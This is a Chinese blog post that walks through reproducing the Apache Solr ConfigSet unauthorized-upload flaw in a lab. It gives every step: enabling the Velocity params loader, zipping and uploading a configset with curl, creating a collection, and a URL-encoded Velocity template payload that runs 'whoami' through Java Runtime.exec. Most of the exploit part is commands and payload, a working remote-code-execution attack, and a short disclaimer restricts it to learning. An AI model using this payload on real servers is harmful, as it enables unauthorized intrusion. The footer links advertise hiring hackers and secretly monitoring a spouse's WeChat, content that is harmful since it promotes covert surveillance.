Apche Solr 未授权上传漏洞(CVE

访客4年前关于黑客接单1191

之前看某大佬的文章,自己跟着复现的,大佬腻害~~如有错误纯属我理解错误,还望指正~ヽ( ⌒ω⌒)人(=^‥^=)?

0x00 漏洞描述

在特定的Solr版本中ConfigSet API存在未授权上传漏洞,攻击者利用漏洞可实现远程代码执行。

整个利用链流程:
上传configset——基于configset再次上传configset(跳过身份检测)——利用新configset创造collection——利用solrVelocity模板进行RCE

影响范围

Apache Solr 6.6.0 -6.6.5
Apache Solr 7.0.0 -7.7.3
Apache Solr 8.0.0 -8.6.2

0x01 环境搭建

solr下载地址:http://archive.apache.org/dist/lucene/solr/(本次复现环境为8.0.0)

靶机:win10 IP地址:192.168.41.129
攻击机:kali IP地址:192.168.41.132


C:\复现\solr-8.0.0\bin>solr.cmd start –c

0x02 漏洞复现

1、解压solr-8.0.0.zip并将解压后的文件切换到/solr-8.0.0/solr-8.0.0/server/solr/configsets/_default/conf目录,找到solrconfig.xml文件,并将velocity.params.resource.loader.enabled的false修改为true,即:
name="params.resource.loader.enabled">${velocity.params.resource.loader.enabled:true}

并将修改后的solr-8.0.0 放到kali中

2、 然后在kali中server/solr/configsets/_default/conf/目录下打开终端,执行命令将conf目录下所有文件打包成一个压缩文件mytest.zip

zip -r - * > mytest.zip

3、由于ConfigSet API存在未授权上传, 上传mytest.zip到win10

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @mytest.zip http://192.168.41.129:8983/solr/admin/configs?action=UPLOAD&name=mytest

根据CREATE得到的新configset创建恶意collection:

curl "http://192.168.41.129:8983/solr/admin/collections?action=CREATE&name=mytest2

&numShards=1&replicationFactor=1&wt=xml&collection.configName=mytest"

在kali的浏览器中输入地址,即可利用已上传的collection进行远程命令执行,这里执行的是whoami

http://192.168.41.129:8983/solr/mytest2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

PS:本文仅用于渗透测试学习,勿用于非授权测试。。可在虚拟机完成环境搭建与测试



相关文章

解压码破解器,去哪里找黑客大佬,在微信群里面斗牛找黑客合作

ps:图片可单击扩大观看。 0x05 相关链接nc -lu 8088mkdir /opt/flex例如这儿界说一个 Reference 实例,并运用承继了UnicastRemoteObject类的Re...

黑客用名字找电话-国际黑客组织(国际黑客组织匿名者多次针对全球金融

黑客少女什么时候上线黑别人手机算违法吗(边走路边看手机违法)彭飞黑客是什么电视剧里面的黑客怎么入侵手机教学(黑客怎么入侵手机)电脑黑客如何破QQqq如何快速封别人的群(qq群被封怎么申诉)有黑客攻击怎...

我怎么才偷偷的监控到我老公的微信聊天记录

黄金大地素面好吃吗,黄金大地素面吃起来感觉怎么样,孩子爱吃吗,给宝宝当辅食放心吗,友谊长存小编就来说说试用后的感受吧。 宝贝整体 宝贝收到了,卖家用泡泡袋包装很严实,面条整体蛮高端,营养价值也很高...

支付宝怎么提现?春节支付宝提现免费的方法

支付宝怎么提现?春节支付宝提现免费的方法

支付宝早在2016年10月12日起对转账到银行卡和账户余额提现两个业务收费,具体规则如下: 个人用户:同一身份证下的多个实名账户终身共享2万元基础免费额度(含转账到银行卡、账户余额提现),超过额度后...

围绕着刚获诺贝尔奖的屠呦呦,有这么些争议

2015年10月5日,诺贝尔奖微生物或医学奖公布,中国科学家屠呦呦和此外两位生物学家得奖。一声看好以后,有关屠呦呦和青蒿素的探讨和异议也接踵而来。 得奖信息公布在中国北京时间17:30,从那以后到现...

黑客定位群(黑客的定位追踪软件可靠吗)

黑客定位群(黑客的定位追踪软件可靠吗)

手机会不会被窃听? 1、从技术角度来看,手机主要存在以下几种风险被监听、远程控制和定位跟踪:系统漏洞和恶意软件:手机操作系统或应用程序可能存在漏洞,黑客可以利用这些漏洞来实施监听、远程控制或定位跟踪。...